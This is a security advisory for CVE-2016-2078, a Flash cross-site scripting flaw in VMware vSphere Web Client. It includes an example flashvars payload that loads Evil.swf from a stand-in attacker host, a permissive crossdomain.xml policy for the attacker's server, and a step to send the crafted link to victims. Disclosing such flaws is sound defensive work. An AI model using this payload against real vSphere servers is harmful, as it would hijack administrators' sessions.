Vendor:

Product:
====================================
VMWare vSphere Web Client v5.1 - 6.0

A server virtualization platform from VMware. Also referred to as a cloud
operating system or virtualized data center platform, VMware vSphere enables
IT departments to efficiently place application workloads on the most
cost-effective compute resource available

VMware vSphere includes the VMware ESX / ESXi hypervisor, a type 1
hypervisor that functions as the virtualization server; the VMware vCenter
Server,
which manages vSphere environments; the VMware vSphere Client, which is
used to install and manage virtual machines through the hypervisor; and
VMware VMFS, the file system component from VMware.


Vulnerability Type:
====================
Flash XSS



CVE Reference:
==============
CVE-2016-2078



Vulnerability Details:
=====================

VMWare vSphere Web Client is vulnerable to Flash based XSS through the
loading of arbitrary .SWF files via 'flashvars' parameter. Flashvars is a
Flash Player feature that allows passing of variables to the '_root' level
of a Flash movie from the hosting webpage. Attackers can exploit this
to call arbitrary Flash actionscript functions on the victims Flash Player
client through attacker supplied SWF files that execute in the same
security context as that of vSphere Web Client.


e.g.


flashvars:
'locale=en_US&localeChain=en_US&resourceModuleURLs=locales/UI-en_US.swf&resourceModuleURLs=http%3A%2F%2Fattacker-site%2FEvil.swf',

Exploit code(s):
===============


1) Attacker server needs Flash policy file "crossdomain.xml" It grants
Flash Player permission to talk to servers other than
the one it's hosted on. This will allow victim server ability to talk to
the evil server.

e.g.

<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*.vsphere-client.com" />
<allow-access-from domain="*vsphere-client.com" />
</cross-domain-policy>


2) Send infected linx to the victim.
